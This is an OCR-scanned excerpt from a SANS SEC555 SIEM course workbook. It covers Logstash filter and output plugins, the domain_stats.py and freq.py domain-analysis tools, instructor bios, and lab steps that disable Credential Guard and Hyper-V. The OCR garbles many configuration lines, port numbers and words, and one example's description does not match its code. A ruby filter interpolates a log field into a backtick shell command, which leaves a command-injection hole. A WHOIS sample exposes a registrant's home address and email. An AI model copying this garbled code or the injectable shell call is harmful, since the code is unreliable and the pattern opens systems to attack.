il or {
mutate {
uppercase => [ "syslog_message" ]

}

rest

The rest plugin is a community filter plugin used to submit a web based REST request. It is used to query APls or websites
using data from a log. This plugin can be very powerful when used properly.
Recommended use cases:

« Entropy (randomness checking) of key fields in conjunction with freq_server.py

- DNS top 1 million checking in conjunction with domain_stats.py

+ WHOIS creation date lookups in conjunction with domain_stats.py
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This example configuration is used get the entropy score of a DNS domain using the highest_registered_domain field's
value (requires freq_server.py listening on 10004):

fitter {

rest {

request => {
urt => "http://localhost:20001/domain/creation_date/%{highest_registered_domain}"

+
sprintf => true
json => false
target => "domain_creation_date"

‘ote: If you are using the docker versions of freq_server or domain_stats replace loc 'host in the above example with
either fi q_s .rv .r or dom in_stats.

Another example:

filter {

rest {

request => {
urt => "http://localhcst:16@04/measure/%{h1ghest_registered_domain}“

T
sprintf => true
json => false
target => "domain_frequency_score"

¥
if [domain_frequency_score] {
mutate {
convert => [ "domain_frequency_score", "float" ]
}
}

Ne :If you are using the docker versions of freq_server or domain_stats replace loca .ost in the above example with
either freq_c v rordom 'n_ . ts.

This example configuration is used to find out the creation date of the highest_registered_domain value (requires
domain_stats.py listening on 20000):

filter {
rest {
request => {
url => "http://localhost:20000/alexa/%{highest_registered_domain}"
}
sprintf =5 true
ison => false
target => "site"
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if [site] !'= "0" and [si e] {
mutate {
add_tag => [ "top-im" ]
remove_fTield => [ "site" ]

ote: If you are using the docker versions of freq_server or domain_stats replace loc. host in the above example with
either freq_: * ordom in_st s.

This example configuration is used to find out if the highest_registered_domain value is a top 1 million site (requires
domain_stats.py listening on 20000):

filter {
rest {
request => {
url => "http://localhost:20000/alexa/%{highest_registered_domain}”
}
sprintf => true
json => false
target => "site"

}
if [site] != "0" and [site] {
mutate {
add_tag => [ "top-im" ]
remove_field => [ "site" ]
1
}

Note: If you are using the docker versions of freq_server or domain_stats replace ocalhost in the above example with
either freq_serv or dom in_stats.

ruby

The ruby plugin is a filter plugin that allows raw programming logic. It allows invoking ruby to programmatically interact
with fields and field data.

Recommended use cases:

» Calculate field length
+ Perform mathmatic calculations

- Calculate how long Logstash takes to do something
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This example configuration is used to calculate the field length of a field called certificate_common_name and to store it
in a field called certificate_common_name_{ength:

filter {
ruby {
code => "event.set('certificate_common_name_length',
event.get('certificate_common_name').length)"
}
¥

This example configuration is used to calculate the number of days a certificate is valid by substracting the
certificate_not_valid_after field from the certificate_not_valid_before field and then rounding the valid to an integer:

fitter {
ruby {
code => "event.set('certificate_number_days_valid', ((event.get('certificate_not_valid_after')
- event.get('certificate_not_valid_before')) / 86400).ceil)"
}
t

This example decodes a base64 value stored in a field called possible_base64_code:

filter {
ruby {
init => "require 'base64'"
code => "a = Base64.decode64(event.get('possible_baseb4_code'));
event('base64_decoded'] = a;"

This example extracts every instance of PowerShell cmdlets being used in EventID 4103 by using scan:

fitter {
if [Payload] and [EventID] == 4103 and [SourceName] == "Microsoft-Windows-PowerShell" {
ruby {

code => "event.set('cmdlets', event.get('Payload').downcase.scan(/commandinvocation\(([a-
z0-9-1+)\)/))"
}
1

This example configuration is used to calculate how long it takes Logstash to process something:

filter {
ruby {
code => "event.set('task_start', Time.now.to_f)"
}
Then do something...
ruby {
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code => "event.set('task_end', Time.now.to_f)"

1
ruby {
cod => "event.set('logstash_time', event.get('task_end') - event.get('task_start'))"
1
mutate {
remove_field => [ 'task_start', 'task_end' ]
}

The overhead of calculating logstash_time is nominal. This likely can be left on.

This example configuration is used to calculate the ratio of bytes uploaded vs bytes downloaded using flow data:

filter {
ruby {
code => "event.set('byte_ratio_client’, event.get('bytes_to_client').to_f /
event.get('bytes_to_server').to_f)"

}
ruby {

cod => "event.set('byte_ratio_server', 1 - event.get('byte_ratio_client'))"
}

This example configuration is used to take an IDS alerts SID # and use it to retrieve the IDS rule it belongs to and append
that rule to the alert:

fitter {
if [gid] == 1 and [sid] {
ruby {
code => "sid = event.get('sid'); event.set('rule', “cat /etc/nsm/rules/x.rules | grep
sid:#{sid} | head -ni")"
1
1

syslog_pri

The syslog_pri plugin is a filter plugin used to automatically parse the syslog pri field into severity and priority fields.

This is an example configuration using the default message field:
filter {

syslog_pri { }

This is an example configuration using a field called syslog_pri:
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filter {
syslog_pri {
source => "syslog_pri"

}

tid

The | pluginis a filter plugin used to take a DNS name and break it up into corresponding pieces. For example,
www.google.com would become:

hi hest_re istered_domain = google.com sub_dom in =www p : t_don °n=google top_lev I_domain == com

This is an example configuration of using tld against a field called query:

Filter {
td {
source => "query"
1
mutate {
rename => { "[tld][domain]"™ => "highest_registered_domain" }
remame => { "[t1d][trd]" => "sub_domain" }
rename => { "{tld][tld]" => "top_level_domain" }
rename => { "[tld][sld]" => "parent_domain" }
}
¥
translate

Thetr ne e plugin is a filter plugin used to take a field and look up a value based on it in a file or provided array of
values.

This is an example configuration that takes the value of destination_port and does a lookup of its value in /lib/
dictionaries/iana_services.yaml:

filter {
translate {
field => "[destination_port]"
des 1ination => "[destination_servicel"
dictionary_path => "/lib/dictionaries/iana_services.yaml"

This could help take a destination_port of 80 and use it to add a field called destination_service with a value of HTTP.
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+ Qutput Plugins

+ stdout

- elasticsearch
« file

« rabbitmgq

« kafka

- tcp

- udp

stdout

The stdout plug is an output plugin used to output to the screen. It is useful for troubleshooting or testing.

This example configuration is used to output to the screen with pretty markup. This is the most common way to invoke
stdout and is probably what you want to use.

output {
stdout { codec => rubydebug }

}

Using the above configuration will display output similar to this:

© 2022 SANS Institute 75



"message" =>

"@version" =>
"@timestamp" =>
Thost' =>
"timestamp" =>

Hyidn =>

"source_ip" =>
"source_port" =>
"destination_ip" =>
"destination_port" =>
"protocol" =>
"transaction_id" =>
"regt =>

"query" =>
"guery_class'" =>
"query_class_name" =>
"query_type" =>
"query_type_name" =>
"rcode™ =>
"rcode_name" =>

"aa" =>

et =>

"rd" =>

gt =3

Uit =

The alternative way to run

output {
stdout { }
¥

"2017-07-25T17:49:37.3567Z sec-555-Tinux
1496523628.328546\tCfnUM12301kvdjxe 1\tl®.0.l.ll\t38938\tl®.®.0.lO\t53\tudp\t46693\t0.001092\t10gingest.t

"l" ,
"2017-07-25T17:50:10,7102",
"sec-555-1inux",

"2017-07-25T17:49:37.3567Z sec-555-1inux 1496523628.328546",

"CfnUMi2301kvdixewi",
"10.0.1.11",

"38938",

"10.6.0.10",

"53" ,

"udpll B

"46693",

"9.001092",
"logingest.test.int",
l|1ll ,

“C_INTERNET1",

"All N

"0" 5

"NOERROR" ,

"T" s

lIFH 5

HTTGH R

"172.16.1.10",
"3600.000000",

1" FH

tdout is to just invoke it such as in this configuration:

However, the output is not user friendly and will look like this:

2017-07-25T17:49:37.356Z sec~555-Linux 1496523628.328546

g.0.10 53 wudp 46693
172.16.1.10 3600.000000 F

output_elasticsearch

The el

This example configuration is used to send logs to an index for Windows logs:

ou put {
elasticsearch {

g.001892

logingest.test.int I

iicsearch plugin is an output plugin used to send logs to an Elasticsearch index.

index => "logstash-windows-%{+YYYY.MM.dd}"
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This example configuration shows dynamically routing logs to varies Elasticsearch indexes:

output {
if [typel == "windows" {
elasticsearch {
index => "logstash-windows-%{+YYYY. .dd}"

}
}
if [type] == "alert" {
elasticsearch {
index => "logstash-alert"
1
1
if "syslog" == [tags] {
elasticsearch {
index => "logstash-syslog-%{+YYYY.MM.dd}"
}
t
}
output_file

The file output plugin is an output plugin used to send logs to a file.

This example configuration is used to send logs to a file called /home/student/logs.json:

output {
file {
path => "/home/student/logs.json"
}

It is possible to output logs to other file formats such as CSV. For CSV, use the esv output plugin.

output_rabbitmg

The rabbitmq output plugin is an output plugin used to send logs to RabbitMQ which is a third party message broker/log

buffer.

This example configuration is used to send logs to an exchange for Windows logs:
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output {

rabbitmg {

key

=> "routing_key_goes_here"

exchange => "windows"

exchange_tpe => "direct"

user => "user_name_goes_here"
password => "password_goes_here"”

host => "rabbitmq_hostname_goes_here"
port => 5672

durable => true

persistent => true

It is a good practice to route logs to various queues so that you can monitor and troubleshoot them individually. This is an

example of doing so:

output {

if [type]l == "windows" {
rabbi ag {

}
}

key => "routing_key_goes_here"
exchange => "windows"

exchange_type => "direct"

user => "user_name_goes_here"
password => "password_goes_here"

host => "rabbitmqg_hostname_goes_here"
port => 5672

durable => true

persistent => true

if "syslog" in _tags] {
rabbitmg {

output_kafka

The kaf a output plugin is an output plugin used to send logs to Kafka which is a third party message broker/log buffer.
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key => "“routing_key_goes_here"
exchange => “"syslog"

exchange_type => "direct"”

user => "user_name_goes_here"
password => "password_goes_here"

host => "rabbitmg_hostname_goes_here!"
port => 5672

durable => true

persistent => true
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This example configuration is used to send logs to a topic for Windows logs:

output {
kafka {
bootstrap_servers => "kafka_server_name_goes_here:9092"

topic_id => "syslog"

It is a good practice to route logs to various topics so that you can monitor and troubleshoot them individually. This is an

example of doing so:

output {
if [type] == "windows" {
kafka {
bootstr ,_< rvers => "kafka_server_name_goes_here:95@92"
topic_id => "windows"
1
}
if "syslog" in [tags] {
kaftka {
boo strap_servers => "kafka_server_name_goes_here:9092"
topic_id => "syslog"
}
}
}
output_tcp

The tep output plugin is an output plugin used to send logs to a remote logging host. It can be used to send logs from
Logstash to a commercial SIEM.

This example configuration is used to send logs to a remote host over TCP port 5000

output {

tep {
host => "dns_name_or_ip_address_goes_here”

port => 50060

This example configuration is used to send logs with a type of alert to a remote host over TCP port 5000

output {
if [type]l == "alert” {
(Sl

host => "dns_name_or_ip_address_goes_here"
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port => 5060

output_udp

Theu output plugin is an output plugin used to send logs to a remote logging host. It can be used to send logs from
Logstash to a commercial SIEM.

This example configuration is used to send logs to a remote host over UDP port 5000

output {

udp {
host => "dns_name_or_ip_address_goes_here"
port => 5000

This example configuration is used to send logs with atype of  rt to a remote host over UDP port 5000

output {
if [type] == "alert" {
udp {
host => "dns_name_or_ip_address_goes_here"
port => 5066
¥
}
t
- —— ~— —— —
Additional Info
— ———— ——— — -
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+ Abstract

Beats is a log agent framework designed by Elastic. Because it is a framework it allows for rapid creation of new, purpose

built log agents. Elastic currently supports multiple beats agents such as:

* Winlogbeat - This agent is useful for collection Windows logs.

+ Filebeat - This agent is useful for monitoring and collecting log files. Because of this it is commonly used to collect
standard Linux/Unix logs.

« Packetbeat - This agent is useful to monitor and generate logs from network data. It commonly is deployed on a

system that uses a promiscuous NIC configuration with data being mirrored to it either with a network tap or port
mirroring.

Where to Acquire

Beat agents can be found at hitps://www.elastic.co/products/beats. It is open source but also has a commercial support
offering.

- Examples/Use Case

TODO
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Abstract

-

domain_stats.py is a python API designed by Mark Baggett to handle Alexa/Cisco Umbrella top one million lookups as
well as WHOIS lookups, both of which cache results. It was designed to be used in conjunction with a SIEM solutions but
can work with anything that can submit a web request.

roun : adversaries attempt to often use domain names to bypass IP address blacklisting technologies. These could
be in the form of random domain names (see freq.py and freq_server.py for detecting these), rapidly rotating domain
names, or targeted domains such as phishing domains

Problem: analysts struggle to figure out what data to analyze and which techniques to apply against which logs. There are
just too many logs...

Solution: ask Mark Baggett for help ...domain_stats.py is born

domain_stats.py helps us solve the problem by providing a lookup table using the Alexa or Cisco Umbrella top-1m.csv
(can be pointed to a custom file as well) and WHOIS lookups to pull back information such as a domain's creation date.

Where to Acquire

https://github.com/MarkBaggett/domain_stats

Examples/Use Case
Using Logstash to query domain_stats.py against top-1m

This example Logstash configuration below queries domain_stats.py to see if a domain name (stored in a field called
highest_registered_domain) is a member of the Alexa/Cisco Umbrella top 1 million sites. If the site is a top 1 million site a
tag of "top-1m" is added to the log.

filter {

rest {

reqguest => {
url => "http://localhost:200006/alexa/%{highest_registered_domain}"

}
sprintf => true
json => false
target => "site_rank"

}

if [site_rank] = "@" and “site_rank] {
mutate {
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add_tag => [ "top-1m" ]

Note: The values returned by the rest filter plugin will be strings. If you want them to be integers add this code below the
rest filter:

mutate {
convert => [ "site_rank", "integer" ]

}

This example Logstash configuration below queries domain_stats.py to see when a domain name was created. It stores
the results in the creation_date field.

filter {
rest {
request => {
url => "http://localhost:20000/domain/creation_date/%{highest_registered_domain}"
1
sprintf => true
json => false
targ ¢ => "creation_date"

The below command is an example of running domain_stats.py on port 20000 and using a top one million file at /opt/
domain_stats/top-Tm.csv. It does not require root or admin privileges.

/usr/bin/python /opt/domain_stats/domain_stats.py --preload @ -a /opt/domain_stats/top-1im.csv 20600

Preload is set to 0 which means do not try to load up all the WHOIS information for the top one million sites. The default
behavior loads the first 1000 sites listed in top-1m.csv or whatever file is specified.

To view additional command line parameters see either the GitHub link above or run the following command:
/usr/bin/python /opt/domain_stats/domain_stats.py -h

This is an example of manually querying domain_stats.py using curl. It requests the creation date from WHOIS
information for sec555.com.

$ curl http://127.0.0.1:26000/domain/creation_date/sec555.com
2016-09-08 ©3:21:24;

This is an example of manually querying domain_stats.py using curl. It checks to see if sans.org is a top 1 million site.
Since SANS is obviously freaking awesome... it is a top 1 million site and the rank of 105910 is returned.
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$ curl http://127.0.0.1:20000/alexa/sans.org
1059106

This is an example of manually querying domain_stats.py using curl. It checks to see if covertc2.com is a top 1 million
site. Since it is not a value of "0" is returned.

$ curl http://127.0.0.1:20000/alexa/convertc2.com
[}

This is an example of manually querying domain_stats.py using curl. It requests the WHOIS information for sec555.com.
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$ curl http://127.0.0.1:20000/domain/sec555.com
{

"uypdated_date": "2016-09-08 00:08:00",

"status": [
nclientDeleteProhibited https://icann.org/epp#clientDeleteProhibited”,
n"clientRenewProhibited https://icann.org/epp#clientRenewProhibited",
wclientTransferProhibited https://icann.org/epp#clientTransferProhibited",
"elientUpdateProhibited https://icann.org/epp#clientUpdateProhibited”,
nelientTransferProhibited http://www.icann.org/epp#clientTransferProhibited”,
nclientUpdateProhibited http://www.icann.org/epp#clientUpdateProhibited",
"clientRenewProhibited http://www.icann.org/epp#clientRenewProhibited",
weclientDeleteProhibited http://www.icann.org/eppi#clientDeleteProhibited”

1

"alexa: "o",

"name": "Justin Henderson",

"dnssec": "unsigned",

Yeity™: "Effingham",

Y"expiration_date": [
"2018-09-08 00:00:00",
"2018-09-08 03:21:24"

1,

Ytime": ~7203898.527102,

"zipcode": "62401",

Ydomain_name": [
"SEC555.C0M",
"sec555. com"

1,

"country": "us",

"whois_server'": "whois.godaddy.com",
"state": "Illinois",

"registrar'": "GoDaddy.com, LLC",

Yreferral_url": "http://www.godaddy.com",

"address™: "14526 E Millbrook Dr",

"name_servers': [
"NS55.DOMAINCONTROL . COM",
"NS56.DOMATINCONTROL . COM"

1

"org": null,

"creation_date": [
"2016-09-08 00:00:60",
"2016-09~-08 ©03:21:24"

1,

"emails": [
"abuse@godaddy.com",
"Justindestiny@gmail.com"
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https:// isc.sans.edu/forums/diary/Continuous+Monitoring+for+Random+Strings/20451/
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Abstract

freq.py is what happens when Mark Baggett sits in on your class, and you dangle interesting problems in front of him...

« round: adversaries attempt to bypass signature based/pattern matching/blacklist techniques by introducing
random: filenames, service names, workstation names, domains, hostnames, SSL cert subjects and issuer subjects, etc.

Problem: detecting randomly-generated X is a powerful defensive technique, but hard with a narrow scope.

Solution: sign Mark Baggett up for your class and...freq.py is born

freq.py helps us solve the problem by employing frequency tables that map how likely one character will follow another

- W ere to Acquire

https://github.com/MarkBaggett/freq

* Examples/Use Case

Note: The higher the number returned by freq.py the more likely it is to occur

Blindly freg-ing for EVIL

Mark provides some pre-built frequency tables built using public domain fiction and speeches as seed text. While not the preferred
approach, just using the provided frequency tables can hit pay dirt.

Default Frequency Tables

[/opt/freq]l$ 1s x.freq
english_lowercase.freq english_mixedcase.freq

Using Default Frequericy Tables

Measure (-m) the likelihood of the characters in the string secs11 occurring in that order:
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[/opt/freql$ python freq.py -m "sec511" english_lowercase.freq
5.035810876834

Measure ( -m ) the likelihood of the string xzkravkdj :

[/opt/freqls python freq.py —m "xzkravkdj" english_lowercase.freq
1.19928269423

Bulk ( -b ) measure the likelihood for each entry in /home/student/bootcamp/test_domains.txt

[/opt/freql$ python freq.py —~d /home/student/bootcamp/test_domains.txt english_lowercase.freq

Building a Frequency Table
Rather than using the provided tables, we can instantiate our own. This is the preferred approach, because our fidelity should improve

with frequency tables that are built based on normal seed data for our target. For example, if we will be using freq.py to look for

random generate executable names, then supplying a large volume of normal executable names would yield better results than just
text based on speeches and fiction in the public domain.

Create ( -c ) a new frequency table (in this case 511_domains.freq)
[/opt/freql$ python freq.py -c 511_domains.freq
Toggle on (-t ) case sensitivity (disabled by defauit)

[/opt/freql$ python freq.py -t 511_domains.freq
Case sensitivity is now set to True

Feed ( -f ) the frequency table with representative (read: normal) data

[fopt/freql$ python freq.py -f /home/student/bootcamp/normal_domains.txt 511_domains.freq

Tactically freg-ing for EVIL
Measure ( -m ) the likelihood of the string sec511.com
[/opt/freql$ python freq.py -m "sec511l.com" 511_domains.freq
Bulk ( -b ) measure the likelihood for each entry in /home/student/bootcamp/test_domains.txt

[/opt/freql$ python freq.py -b /home/student/bootcamp/test_domains.txt 511_domains.freq
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Tuning Tables

Update frequency table with a normal ( -n) entry as if seen 10000 times
[/opt/freql$ python freq.py -n "q erty.sec5li.com" -w 16 '8 511_domains.freq

Update frequency table with a file ( - ) containing normal entries (e.g /home/student/bootcamp/normal_domains.txt )
[/opt/freql$ python freq.py -f /home/student/bootcamp/normal_domains.txt 511_domains.freq

Update frequency table with an odd ( -o ), bogus, but not random entry

[/opt/freql$ python freq.py -o ".ru" 511_domains.freq

freq.py command line switches

|Switch|Verbose Switch|Description| |-m|-measure|Measure likelihood of a given string| |-b|-bulk_measure|Measure each
line in a file] |-n|--normal|Update the table based on the following normal string| |-fl-normalfile|Update the table based on
the contents of the normal file] |-ol--odd|Update the table based on the contents of the odd string. It is not a good idea to
use this on random datal |-p}-print|Print a table of the most likely letters in order]| |-c|--create|Create a new empty
frequency table| [-v|--verbose|Print verbose output| |-t}--toggle_case_sensitivity|Enable/Disable case in all future frequency
tabulations| |-M|-max_prob|Defines the maximum probability of any character combo. (Prevents "qu” from overpowering
stats) Default 40| |-P|-promote|This takes 2 characters as arguments. Given the 2 characters, promote the likelihood of
the 2" in the first by <weight> places| |-w|-weight|Affects weight of promote, update and update file (default is 1)| |-e|-
exclude|Change the list of characters to ignore from the tabulations.|

+ Additional Info

https:/isc.sans.edu/forums/diary/Detecting+Random-+Finding+Algorithmically+chosen+DNS+names+DGA/19893/
hitps://isc.sans.edu/diary/freq.py+super+powers%3F/19903 https:/isc.sans.edu/forums/diary/
Continuous+Monitoring+for+Random+Strings/20451/
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freq_server.py is a python API designed by Mark Baggett to handle mass entropy testing. it was designed to be used in
conjunction with a SIEM solutions but can work with anything that can submit a web request.

¢ round: adversaries attempt to bypass signature based/pattern matching/blacklist techniques by introducing

random: filenames, service names, workstation names, domains, hostnames, SSL cert subjects and issuer subjects, etc.

Probl m: detecting randomly-generated X is a powerful defensive technique, but hard with a narrow scope.
Solt on: ask Mark Baggett for help ...freq_server.py is born

freq_server.py helps us solve the problem by employing frequency tables that map how likely one character will follow
another

= —— = - Sy

Where to Acquire
https://github.com/MarkBaggett/freq/blob/ master/freq_server.py

w—— -

Examples/Use Case

——
- ———— - - -_r

Using Logstash to query freq_server.py

This example Logstash configuration below queries freq_server.py for the entropy score of a domain name (stored in a
field called highest_registered_domain). The returned entropy score is then saved into a field called
domain_frequency_score.

filter {

rest {
re uest => {
url => "http://localhost:100@4/measure/96{h1'ghest_reg1'stered_domain}"
}
sprintf => true
ison => false
target => "domain_frequency_score"

Note: The values returned by the rest filter plugin will be strings. If you want them to be floats add this code below the rest

filter:
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mutate {
convert => [ "domain_frequency_score", "float" ]

}

The below command is an example of running freg_server.py on port 10004 and using a frequency table of /opt/freq/
dns.freq. It does not require root or admin privileges.

Jusr/bin/python /Jopt/freq/freq_server.py 10004 /opt/freg/dns.freq

This is an example of manually querying freq_server.py using curl. It requests the entropy score of sec555.com.

$ curl http://127.0.0.1:10004/measure/sec555.com
20.4191174097

To generate a custom frequency table see freq.py. To view additional command line parameters see either the GitHub link
above or run the following command:

/usr/bin/python /opt/freq/freq_server.py -h

- Additional Info

https://isc.sans.edu/forums/diary/Continuous+Monitoring+for+Random+Strings/20451/
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Contact

Twitt r | @packetengineer Linke .| scott-lynch-5407961 En il | [scott.lynch@slteksystems.com]

Affiliations

SANS Institute | SA 'S Certified Instructor/Course Author
Bio

When Scott left active duty with the US Navy as an Electronic Warfare (EW), he joined a P-3 squadron as an Aircrewman
as areservist to enjoy the benefits of being an aviator while working full time at a Satellite Communications company
based out of Philadelphia. Part of the lure of coming to Universal Space Network was the founder, Charles "Pete" Conrad,
Apollo 12 Astronaut and third man to walk on the moon. The enticement of getting to continue to travel the world working
at remote satellite ground stations whilst being a part of the space program marked the beginning of a 20-year career
working in everything from ground station antennas, satellite operations, to mission integration and launch support
operations.

This lead to working in IT security permanently over 15 years ago. Since coming on board at Universal Space Network, the
company was acquired by its new patent Swedish Space Corporation where Scott spends his time working as the global
Security Operations manager for a truly global satellite communications network. Scott managed the CSIRT team and
SOC for SSC in support of a global customer base from NASA, ESA, DoD and beyond. Scott has also been a Cisco
Instructor for over 10 years teaching the next generation of network engineers.

Scott recently left permanent employment at SSC to pursue consulting full time when he started his company SiTek
Systems, LLC where he continues to support clients regarding Security Operations as well as course authorship within the
SANS family as the new course author of SEC555. When Scott is not traveling the world as a Security Consultant, he loves
to spend time with his family, playing Xbox games with the kids and cruising in his sailboat.
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Contact

Tw: er| @bettersafetynet

Affiliations

SANS Institute | SA_ 3 Princip | Instructor

Bio

Mick has always enjoyed working with computers and securing systems and quickly became a systems administrator.
While working at a marketing firm, he received a penetration test. The report was a bloodbath. His code was highly
vulnerable and it hurt to know that his "baby" was so open for attack. When Mick asked the pen testers what he should do,
they couldn't provide workable solutions. He vowed to get his revenge in the follow-up assessment, by not only securing
his code and systems but making them actively hostile. This included honeypots, automated response, and numerous
other tricks to confuse and frustrate. After months of study and experimentation, the follow-up test resulted in the
company quitting mid engagement. He was hooked... and hasn't looked back since.

Mick's experience in Systems and cybersecurity is varied and eclectic. He built the provisioning system used by LCI/
Qwest for long-distance orders, helped ensure network speed and reliability at UUNet, ran the production hosting systems
for Resource Marketing (the marketing firm behind brands such as Apple, Walmart, HP, and Victoria's Secret), was the lead
technical security engineer at OCLC (a global not-for-profit library collective) and team lead for one of the penetration
testing teams at Bank of America. He's also worked as a consultant for Diebold, Black Hills Infosec, and Binary Defense
before founding InfoSec Innovations, which he considers the highlight of his career. He's most proud of hiring interns and
subcontractors to help bring about his vision of how an information security consultancy can be run. He plans to change
the industry and that requires a mix of the right staff, clients, and opportunities.

Mick believes that the greatest challenge that students face is that adversaries are well funded and highly skilled,
something he deals with as well. With a modest investment of time each week, he believes students can make changes to
their environment that will result in a superior defensive stance. In time, these incremental improvements result in a
resilient and tamper-evident network. Mick is always excited about the opportunity to share with others so they do not
have to learn the hard way. By studying with Mick, security professionals of all abilities will gain useful tools and skills that
should make their jobs easier.

Mick is proud of Powercat, a netcat tool that he wrote in PowerShell 2.0 to allow maximum portability on all PowerShell
enabled hosts and Fantastic, a powerful systems administration tool with a helpful web gui which makes it easier for
people to secure their systems. When he's not "geeking out” you'll likely find Mick indulging in one of his numerous
hobbies; photography, hiking, sailing, scuba diving pretty much anything outdoors.
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Contact

Twitter | @tbg911

Affiliations

SANS Institute | SA S Princip 1 Instructor
Bio

Tim currently leads the team that is tasked with Firewall review, SIEM management, and privileged access monitoring and
policy compliance. Tim has worked as a Systems Engineer and DBA and has expertise in systems engineering, project
management and information security principles and procedures/compliance. Tim previously worked for Intel and served
in the United States Navy. Tim also works with the OnDemand team as an SME, is a mentor for the Vet Success program
and provides consulting and content review for the Securing the Human project within SANS. Tim is a contributor to the
Arizona Cyber Warfare Range and works with the local security community giving monthly talks, when not teaching for
SANS, on information security tools and techniques.

Tim is as passionate about teaching security as he is performing it and receives the greatest joy when he sees the look in
a student's eye when something they never quite understood finally makes sense.

Tim holds the CISSP. GSEC, GSLC, GISF, GMON, GAWN, GCCC, and GCED as well as the NSA-IAM certifications. He has
extensive knowledge of security procedures and legislation such as Sarbanes-Oxley, GLBA, CobiT, COSO, and ISO 1779.

When Tim is not defending systems, he enjoys playing sports, snowboarding and most of all spending time with his wife
and four children.
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Contact

Twitter | @VeloGeno

Affiliations

SANS Institute [S  SlIn wrue r

Bio

Gene McGowan, a SANS instructor and Sr. Global Director, Channels & Partners at Graylog, has over 20 years of
experience in the tech industry.
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If your Windows host system has Credential Guard enabled and you attempt to run VMware Workstation, there is an issue
that may prevent you from using your VMware in class..

Upon running VMware Workstation, you may encounter a dialog such as below. You will not be able to start the
application.

e - -h 4 ot
€w o e*y 5 , ks fr L3
& g‘ '&i f
oK -

To correct this, take the following steps.
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Disabling Credential Guard for Class

“— -

1. Fromyourhc *op 1 *ngsy - n, Download the "Device Guard and Credential Guard hardware readiness tool" from
Microsoft.

2. Move the downloaded zip file to your desktop and extract the zip file to your Desktop.

Import to Grammarly
Shred with BleachBit

Extract All..

7-Zip > Open archive

CRC™ " > ¢ enarch :

Pin to Start Extract files...
N o Extract Here

3. Run PowerShell as Administrator.
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4. In the PowerShell window, change the directory to the folder where the script is extracted and run the following
PowerShell commands. For example, in the command below, the zip file was extracted to the Desktop folder. You may
need to reboot your host system for the changes to take effect.

! Note:

I The exact version might change over time. In this example, the version is 3.6, but that might change if Microsoft updates the
§' tool. If it does, in each command below, the folder path might change slightly based on the version number.
i

© 2022 SANS Institute 99



Command lines

cd ~\Desktop\dgreadiness_v3.6\
Set-ExecutionPolicy Unrestricted

Expected Res'

Execution Policy Change
Do you want to change the execution policy?
[Y] Yes [A] Yes to A1l [N] No [L] No to All [S] Suspend

TR

E

b
Type A and press the Enter/Return key.
2
l Command lines
.\DG_Readiness_Tool_v3.6.psl -Disable

l = F pect IRes

Security Warning

Do you want to run C:\Users\<%YOUR_USERNAME%>\Desktop\dgreadiness_v3.6\DG_Readiness_Tool_v3.6.psl?

[?] Help (default is "N"):

[D] Do not run [R] Run once [S] Suspend [?] Help (Default dis "D"):

Type R and press the Enter/Return key.

lEFpect IR 1

HES R R S A S B R S R R R S R B R

Readiness Tool Version 3.4 Release

B ® Tool to check if your device is capable to run Device Guard and Credential Guard
HEHHEGEERRER PR R R B R SRR B B R RS B R R R S R R R R R B

Disabling Device Guard and Credential Guard
Deleting RegKeys to disable DG/CG

Disabling Hyper-V and IOMMU
3 Disabling Hyper-V and IOMMU successful

' Please reboot the machine, for settings to be applied.

Reboot as directed and your system should be ready for use.
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Re-enabling Credential Guard After Class

When class is over, if you no longer need to use VMware Workstation and/or require Credential Guard to be enabled,
follow these steps.

1. Run PowerShell as Administrator as shown above.

2. Run the following commands. You may need to reboot your host system for the changes to take effect.

Note:

' The exact version might change over time. In this example, the version is 3.6, but that might change if Microsoft updates the
tool. If it does, in each command below, the folder path might change slightly based on the version number.
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& com. dlnes

cd ~\Desktop\dgreadiness_v3.6\
.\DG_Readiness_Tool_v3.6.psl -Enable -CG

Expected Results

Security warning
Do you want to run C:\Users\<%YOUR_USERNAME%>\Desktop\dgreadiness_v3.6\DG_Readiness_Tool_v3.6.psl?
[D] Do not run [R] Run once [S] Suspend [?] Help (Default is "D"):

Type R and press the Enter/Return key.

lv = Expected Results

HHREFFEHHEHP R R RN S R R
Readiness Tool Version 3.4 Release
Tool to check if your device is capable to run Device Guard and Credential Guard
FHER R R PR R S S S SR R R R B
FHHHHEHE R R S S R R R B B
0S and Hardware requirements for enabling Device Guard and Credential Guard

1. OS SKUs: Available only on these 0S Skus - Enterprise, Server, Education, Enterprise IoT, Pro, and
Home

2. Hardware: Recent hardware that supports virtualization extension with SLAT
To learn more, please visit: https://aka.ms/dgwhcr

FEHHHHHHHE R R R R B R R R R R R R R R 8

Enabling Device Guard and Credential Guard
Setting RegKeys to enable DG/CG
Enabling Hyper-V and IOMMU

Enabling Hyper-V and IOMMU successful
Please reboot the machine, for settings to be applied.

Reboot as directed and your system should be ready for use.
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If your Windows host system has Hyper-V enabled and you are running Windows 10 version 2004, there is an issue that
may prevent you from using your class VM(s) in VMware Workstation 15.5.5.

Upon starting your class virtual machine(s), you may encounter a dialog such as below. You will not be able to start the

virtual machine.

Viiware \ orkstation X

VM are Workstation does nots srtnested
virtualiz s on this host,

Module ‘MonitorMode’ power on failled,

* F led tostart thevirtualma  ‘ne.

To correct this, take the following steps.
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Disabling Hyper-V Features for Class

1. If needed, disable Credential Guard using these instructions

2. Click the Windows button and type features . Then click on the result titled Turn Windows Features on or off.

Best match

Turm Windows features on or off

Settings

i= Apps & features

f£ Manage optional features
ff Use developer features

i= See optional feature history

WOOW VY M

¥ Add an optional feature

&F Change the language that Windows
features appear in

Search-the web

L features - See web e s X

-atures

3. Ensure that the following options are unchecked:

" AR 3!

Keep track of which of the following options you need to change for the class. When class is over, you'll need to re-enable any
options you have disabled.

* Hyper-V Hypervisor
* Windows Hypervisor Platform
* Virtual Machine Platform

* Windows Sandbox
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- If you are using the Windows Subsystem for Linux 2 (WSL2), ensure that the windows Subsystem for Linux

option is also unchecked.

Click oK.

Turn' indows features on or off

To turn a feature on, select its check box. To turn a feature off, clear it
check box. A filled box means that only part of the feature is tumed on.

[ Data Center Bridging
. [ Device Lockdown
[} Guarded Host
= Hyper-¥V
Hyper-V Management Tools

. vy RIVISOP
l et Explorer 11

' formation Services
ormation Services Hostable Web Core

M o]

&
=0
O

Cancel

Windows Features — O X

Windows Features — 0O X

TurnWi: Tow ~

Toturn a
check

&l

"

es on or off

ct its check box. To turn a feature off, clear its
~ means that only part of the feature is turned on.

ity

Windows PowerShelf 2.0

Windows Process Activation Service
R . - -

Winde ¢ T s
nt

214 Cancel

A

4. Your system will ask to reboot so the changes will take effect.

* Re-enabling Hyper-V Features After Class

When class is over and you no longer need to use the class virtual machine, re-enable the options that you disabled
